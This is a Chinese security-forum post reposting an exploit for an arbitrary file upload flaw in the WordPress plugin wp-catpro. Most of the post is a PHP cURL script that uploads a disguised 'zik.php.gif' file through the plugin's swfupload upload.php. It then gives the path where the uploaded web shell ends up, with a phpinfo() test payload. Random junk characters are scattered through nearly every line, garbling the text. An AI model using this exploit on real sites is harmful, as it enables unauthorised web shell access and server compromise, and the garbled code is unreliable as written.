找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1931|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability; h; r0 J+ m4 P6 o4 M
#-----------------------------------------------------------------------8 p" r) S- q& {) N
! H7 e2 @( ^% j7 Y$ V
作者  => Zikou-16
8 \  i4 x/ H# _/ P+ i' o) m! u4 C邮箱 => zikou16x@gmail.com4 w+ D5 L0 P# u  V: A7 j0 j$ D
测试系统 : Windows 7 , Backtrack 5r3- s! z) j  q% g2 \; i
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip. U1 @- @/ D, O( k2 z
####% Y! I! J: m: F2 y% G& J
7 U& U+ k3 s2 e- y' W: E4 n9 C
#=> Exploit 信息:0 j( n) E3 x- D9 c- E& C5 y$ s
------------------2 K/ W/ S" N/ `+ Z( D7 [2 S* N7 q
# 攻击者可以上传 file/shell.php.gif( L! U2 v# d% ~
# ("jpg", "gif", "png")  // Allowed file extensions
1 e- K+ @; e* q/ P2 l. W# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
' r4 W0 _5 j. t# v6 z3 r1 }/ X# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)5 t& c1 c7 A! n, T6 N/ ?  a* Z) K% s
------------------0 Y: D2 R" V& T; C) I6 S' R$ F

( V. W8 ]$ @9 _5 B% ^#=> Exploit
9 X3 t' u, l4 G( |-----------
+ h! Y: L, z/ }9 ~/ \  V<?php; q: h1 h$ F+ Z9 S' Z

7 U  R+ q! [2 H& I, O$uploadfile="zik.php.gif";
: c, g: N5 L# v& T/ x, N$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");# r7 y9 Z9 G; g* x, |) Q
curl_setopt($ch, CURLOPT_POST, true);
0 {6 s' a# C" {6 v' [9 Xcurl_setopt($ch, CURLOPT_POSTFIELDS,
# I3 s! h* n' r4 U, ]( Parray('Filedata'=>"@$uploadfile",
* m& G7 n+ Q4 E- |2 m'folder'=>'/wp-content/uploads/catpro/'));
- I$ w6 `2 m. W) g7 Dcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);( P! I/ T/ c: v/ t
$postResult = curl_exec($ch);! t' m3 k1 G! c+ i! C
curl_close($ch);! a6 r! _3 O+ a  T& p: S
, k8 {2 \7 G2 g7 z6 `, C6 C
print "$postResult";
( m" F2 o- U( Q9 C+ `& G5 g8 ?
+ b" Z5 J# [, d9 C# m; UShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif9 ~% P8 D- n" F
  ?>
7 @( P3 ?7 z/ c8 s<?php+ W! [% b* g. }' P! n
phpinfo();
4 {5 P' C- ]7 }9 ]7 `?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表